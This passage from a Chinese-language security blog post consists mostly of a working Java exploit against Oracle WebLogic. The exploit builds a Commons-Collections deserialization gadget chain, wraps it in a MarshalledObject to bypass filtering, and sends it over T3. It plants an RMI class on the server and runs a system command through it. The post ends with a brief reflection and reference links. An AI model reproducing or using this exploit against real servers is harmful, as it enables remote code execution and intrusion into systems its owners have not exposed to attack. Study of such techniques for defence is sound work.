7, 0, 52, 7, 0, 75, 0, 1, 7, 0, 53, 0, 58, 0, 0, 0, 4, 0, 1, 0, 59, 0, 1, 0, 81, 0, 0, 0, 2, 0, 82,
33    };
34
35    public static void main(String[] args) {
36        try {
37            String url = "t3://" + host + ":" + port;
38            // 安装RMI实例
39            invokeRMI(classname, bs);
40
41            Environment environment = new Environment();
42            environment.setProviderUrl(url);
43            environment.setEnableServerAffinity(false);
44            environment.setSSLClientTrustManager(new WeblogicTrustManager());
45            Context context = environment.getInitialContext();
46            ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Y4er");
47
48            // 调用RMI实例执行命令
49            String res = remote.getServerLocation("ifconfig");
50            System.out.println(res);
51        } catch (Exception e) {
52            e.printStackTrace();
53        }
54
55    }
56
57    private static void invokeRMI(String className, byte[] clsData) throws Exception {
58        // common-collection1 构造transformers 定义自己的RMI接口
59        Transformer[] transformers = new Transformer[]{
60            new ConstantTransformer(DefiningClassLoader.class),
61            new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
62            new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
63            new InvokerTransformer("defineClass",
64                                   new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
65            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
66            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
67            new ConstantTransformer(new HashSet())};
68
69        final Transformer transformerChain = new ChainedTransformer(transformers);
70        final Map innerMap = new HashMap();
71
72        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
73
74        InvocationHandler handler = (InvocationHandler) Reflections
75            .getFirstCtor(
76            "sun.reflect.annotation.AnnotationInvocationHandler")
77            .newInstance(Override.class, lazyMap);
78
79        final Map mapProxy = Map.class
80            .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
81                                         new Class[]{Map.class}, handler));
82
83        handler = (InvocationHandler) Reflections.getFirstCtor(
84            "sun.reflect.annotation.AnnotationInvocationHandler")
85            .newInstance(Override.class, mapProxy);
86
87        // 序列化数据 MarshalledObject绕过
88        Object obj = new MarshalledObject(handler);
89        ByteArrayOutputStream out = new ByteArrayOutputStream();
90        ObjectOutputStream objOut = new ObjectOutputStream(out);
91        objOut.writeObject(obj);
92        objOut.flush();
93        objOut.close();
94        byte[] payload = out.toByteArray();
95        // t3发送
96        T3ProtocolOperation.send(host, port, payload);
97    }
98}

根据weblogic_cmd的代码整理为一个文件,其中T3部分仍使用weblogic_cmd的代码,效果如下:

image

总结

weblogic是一个体型庞大的中间件,而common-collection反序列化能做的东西太多了,灵活运用反射来调用weblogic的各种内置类,可以达到你想要的任何目的。在写这篇文章的时候,很多东西都是我之前没有接触过的,理解起来很难,一点一点的学习、吃透这个东西,还是很有成就感的。学习是一个很愉快的过程,但进步不是,共勉吧。

参考链接

https://www.cnblogs.com/javalouvre/p/3726256.html http://jxzhuge12.me/2016/04/11/Java-rmi-case/ https://javasec.org/javase/ClassLoader/ https://javasec.org/javase/RMI/ https://github.com/5up3rc/weblogic_cmd https://gist.github.com/jjf012/8736ffd658298c769317643643fc3750 https://www.cnblogs.com/afanti/ Java安全漫谈(RMI系列).pdf

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。